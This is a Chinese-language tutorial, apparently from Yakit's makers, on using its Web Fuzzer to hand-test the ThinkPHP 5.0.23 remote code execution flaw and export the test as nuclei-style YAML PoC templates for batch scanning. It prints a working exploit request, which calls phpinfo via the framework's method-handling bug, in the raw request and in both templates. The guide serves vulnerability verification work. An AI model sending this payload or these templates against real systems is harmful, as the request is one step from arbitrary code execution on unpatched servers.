在网络安全领域,PoC(Proof of Concept)起着重要的作用,并且在安全研究、漏洞发现和漏洞利用等方面具有重要的地位。攻击方视角下,常常需要围绕 PoC 做的大量的工作。常常需要从手动测试开始编写 PoC,再到实际调试 PoC的正确性,最后才能将编写完毕的 PoC 投入批量使用,在此目前流程中各个阶段之间并没有很好的关联性,相互之间不能 一键 完成,需要从业人员花费不少不必要的工作时间。Yakit 为了解决这个问题,在 Web Fuzzer 中带来了新的功能——一键导出PoC yaml 以及 联动的调试功能。打通 PoC 的工作流程,让 PoC 可以真正地“免写”。本文将以编写一个 ThinkPHP 5.0.23版本的RCE漏洞的 PoC 为线索来介绍Yakit的 PoC 支持。
ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
先来尝试使用Web Fuzzer 手动触发一个 ThinkPHP 的 RCE 漏洞。先在Web Fuzzer里构造一个可以触发漏洞的数据包:
POST /index.php?s=captcha HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
上述是一个可以执行 phpinfo 的测试数据包,直接发送给目标可以触发一个 phpinfo 响应。
除了测试数据包外还需要有与测试数据对应的 预期响应,以验证漏洞是否触发。
对以此漏洞一个比较合理的判断是:响应页面同时有ThinkPHP
、PHP Version
和PHP Extension
三个关键字的时候是成功用ThinkPHP RCE执行了phpinfo函数,触发了漏洞。
在 Yakit Web Fuzzer 中可以使用匹配器来便捷地匹配数据、检查响应是否符合预期。匹配器位于 Web Fuzzer 的高级配置栏,
匹配器三种匹配模式:丢弃,保留,仅匹配。
- 丢弃:丢弃模式会在符合匹配器时下丢弃返回包。
- 保留:保留模式会在符合匹配器时保留返回包,剩余的返回包则直接丢弃。
- 仅匹配:仅匹配模式会在符合匹配器时将对应的返回包染色,而不做其他操作。选中此模式一旁出现的色点既是染色使用的颜色
直接来使用匹配器来匹配上述测试数据包的预期数据:
点击添加匹配器,在页面右下角会弹出匹配器详细设置页面
详细设置页面十分简单明了,支持五种匹配模式、四种匹配范围以及两种匹配关系。上述数据包的匹配规则可以表达为:AND关系在全部响应中匹配三个关键字,在匹配器中即可如下设置。
点击应用,匹配器即可生效。重新发送数据包,会提示数据包成功匹配:
至此,已经完成了手动测试一个数据包以及匹配预期响应的流程,在 Web Fuzzer 手动发包已经成功完成了一次漏洞验证,有了构造PoC的基础。
PoC的作用当然不能限制在单次的手动测试中,它的作用是通过提炼一个手动测试的流程,来自动化验证某个漏洞,上一节里在Web Fuzzer完成了手动测试ThinkPHP RCE漏洞的部分,接下来就需要将这次手动测试提炼成一个可以重复使用的 PoC 文件。
在 Web Fuzzer右上角处,有两个按钮,分别对应直接导出 PoC和转到调试 PoC。
这里导出和调试的PoC使用的是 Yakit 兼容的 nuclei PoC 模板。点击导出 PoC ,上面的手动测试的流程被保存为如下的 PoC Yaml。
支持 Raw 和 Path 两种模式,可自由选择
``
// Raw 模式
id: WebFuzzer-Template-UuMDryDU
info:
name: WebFuzzer Template UuMDryDU
author: god
severity: low
description: write your description here
reference:
- https://github.com/
- https://cve.mitre.org/
metadata:
max-request: 1
shodan-query: ""
verified: true
yakit-info:
sign: 4a59ba760cdf626429aa3c22ab3dcfa0
http:
- raw:
- |-
@timeout: 30s
POST /index.php?s=captcha HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
max-redirects: 3
matchers-condition: and
matchers:
- type: word
words:
- ThinkPHP
- PHP Version
- PHP Extension
condition: and
// Path 模式
id: WebFuzzer-Template-oZqWchul
info:
name: WebFuzzer Template oZqWchul
author: god
severity: low
description: write your description here
reference:
- https://github.com/
- https://cve.mitre.org/
metadata:
max-request: 1
shodan-query: ""
verified: true
yakit-info:
sign: 69a05e9c6fc674153565cbbe1e868464
http:
- method: POST
path:
- '{{RootUrl}}index.php'
headers:
Content-Type: application/x-www-form-urlencoded
Host: 172.29.228.154:8080
body: _method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1
max-redirects: 3
matchers-condition: and
matchers:
- type: word
words:
- ThinkPHP
- PHP Version
- PHP Extension
condition: and
yakit sign
此 Yaml PoC 有一个特殊的字段yakit-info:sign
。顾名思义,这是一个签名,一个用于保护 PoC 数据正确性、完整性的签名。对 PoC 内的重要数据进行签名,包括 raw 、method、headers…
在 Yakit 插件生态中,上述的 PoC 是可以作为一种插件被用户方便地使用的,但是作为一个纯文本的数据,很难验证本身是否被错误地改动。而这个签名字段的作用即是验证此 PoC 是否被意外改动。
在批量执行的插件的情况下,也可以用通过对签名的验证来筛选出可以信赖的插件,很大程度上避免了本地插件被意外修改导致验证失败的问题。
PoC 显然是不能不经调试检验直接使用的,在上一步中提炼除了 Yaml PoC 还需要把 PoC进行进一步的调试,来测试 PoC的完善性。在 Web Fuzzer 页面中点击右上角的生成 Yaml 模板按钮即可将当前 Web Fuzzer 的配置生 Yaml PoC 并且调整到插件调试页面,方便师傅们进一步调试。
调试页面可以对 Yaml PoC 插件进行测试,通过测试不同的目标来验证检查其完善性。
一旁的配置调试请求栏中可以设置不同的调试目标,支持域名、IP、URL。配置调试目标完成之后,点击执行即可看到本次的调试流量、插件信息以及控制台输出
经过详细地调试之后,在调试插件的右上角有存为插件的按钮,点击即可将当前调试的 Yaml PoC 保存为插件,让此 PoC 正式成为一个可以批量使用的插件。
至此通过 Yakit 的导出与调试 Yaml PoC 功能,我们很简便的完成了一个批量使用的 PoC 编写,期间除了最开始的构造数据包部分需要人工手动测试,其余阶段 Yakit 都自动化完成了。